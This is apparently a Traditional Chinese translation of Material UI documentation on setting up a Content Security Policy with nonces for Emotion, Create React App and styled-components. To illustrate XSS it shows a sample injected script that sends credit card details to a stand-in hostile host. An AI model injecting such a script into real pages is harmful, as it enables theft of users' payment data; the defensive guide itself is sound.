跳到主要內容
+

內容安全策略 (CSP)

本節涵蓋設定 CSP 的詳細資訊。

什麼是 CSP 以及它為何有用?

CSP 透過要求開發人員將資產來源加入白名單,以減輕跨站腳本攻擊 (XSS)。此清單會作為伺服器標頭傳回。例如,假設您的網站託管在 https://example.com,CSP 標頭 default-src: 'self'; 將允許所有位於 https://example.com/* 的資產,並拒絕所有其他資產。如果您的網站的某個部分容易受到 XSS 攻擊,其中顯示了未轉義的使用者輸入,攻擊者可能會輸入類似這樣的內容

<script>
  sendCreditCardDetails('https://hostile.example');
</script>

此漏洞將允許攻擊者執行任何操作。然而,透過安全的 CSP 標頭,瀏覽器將不會載入此腳本。

您可以在 MDN Web 文件上閱讀更多關於 CSP 的資訊。

如何實作 CSP?

伺服器端渲染 (SSR)

若要將 CSP 與 Material UI (和 Emotion) 搭配使用,您需要使用 nonce。Nonce 是一個隨機產生的字串,僅使用一次,因此您需要新增伺服器中間件,以在每個請求上產生一個。

CSP nonce 是一個 Base 64 編碼的字串。您可以像這樣產生一個

import uuidv4 from 'uuid/v4';

const nonce = new Buffer(uuidv4()).toString('base64');

您必須使用 UUID 版本 4,因為它會產生一個不可預測的字串。然後,您將此 nonce 應用於 CSP 標頭。套用 nonce 後,CSP 標頭可能如下所示

header('Content-Security-Policy').set(
  `default-src 'self'; style-src 'self' 'nonce-${nonce}';`,
);

您應該在伺服器上的 <style> 標籤中傳遞 nonce。

<style
  data-emotion={`${style.key} ${style.ids.join(' ')}`}
  nonce={nonce}
  dangerouslySetInnerHTML={{ __html: style.css }}
/>

然後,您必須將此 nonce 傳遞給 Emotion 的快取,以便它可以將其新增至後續的 <style>

const cache = createCache({
  key: 'my-prefix-key',
  nonce: nonce,
  prepend: true,
});

function App(props) {
  return (
    <CacheProvider value={cache}>
      <Home />
    </CacheProvider>
  );
}

Create React App (CRA)

根據 Create React App 文件,Create React App 預設會在生產環境建置期間動態地將執行階段腳本嵌入到 index.html 中。這將需要在每次部署期間在您的 CSP 中設定一個新的雜湊值。

若要將 CSP 用於初始化為 Create React App 的專案,您需要在用於生產環境建置的 .env 檔案中設定 INLINE_RUNTIME_CHUNK=false 變數。這將像往常一樣匯入執行階段腳本,而不是嵌入它,從而避免在每次部署期間設定新雜湊值的需求。

styled-components

nonce 的配置並不簡單明瞭,但您可以關注 此 issue 以獲得更多見解。